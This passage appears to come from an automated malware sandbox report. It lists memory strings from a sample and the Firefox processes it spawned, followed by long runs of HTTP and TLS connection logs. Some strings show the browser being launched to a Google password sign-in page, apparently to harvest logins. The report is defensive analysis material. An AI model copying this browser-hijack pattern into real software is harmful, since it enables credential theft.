Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2213992001.0000000000FC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 5a20612cd1.exe, 00000011.00000003.2869633293.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B46D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000001F.00000003.2845479795.00000294AD02D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 5a20612cd1.exe, 00000011.00000003.2869633293.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B46D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2213992001.0000000000FC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2097723660.000000000C6AA000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2869633293.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2908716384.00000294AC5F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B46D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 5a20612cd1.exe, 00000011.00000003.2869633293.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B46D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2213992001.0000000000FC7000.00000040.00000001.01000000.00000003.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000003.2097723660.000000000C6AA000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2869633293.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B46D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001F.00000002.2876906851.000000C465F3C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001F.00000002.2969171257.00000294AF67B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002002577.00000C581CF11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B435C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001F.00000002.2891102981.00000294A7DBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001F.00000002.2921314720.00000294ACE5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2908716384.00000294AC594000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B4603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/Z
Source: firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B4603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B435C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001F.00000002.2976050815.00000294B00AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2976050815.00000294B0083000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A853E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001F.00000002.2976050815.00000294B009B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2884773158.000002949C411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2969171257.00000294AF63C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2842841573.00000294AE9C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2976050815.00000294B0083000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2883419068.000002949C040000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2883581149.000002949C170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A853E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2875179812.000002688E7F0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3046390205.0000021DB1E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001D.00000002.2742673120.000001B54ACB2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2749278476.000001EF426C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001F.00000002.2885586316.000002949DCEC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2885586316.000002949DCC4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2875179812.000002688E7F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdjar:file:///C:/Progr
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountensureUnloadHandlerRegisteredopenPopup/openPopupPromise

Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 50297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50241
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 173.222.162.32:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.4:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50176 version: TLS 1.2
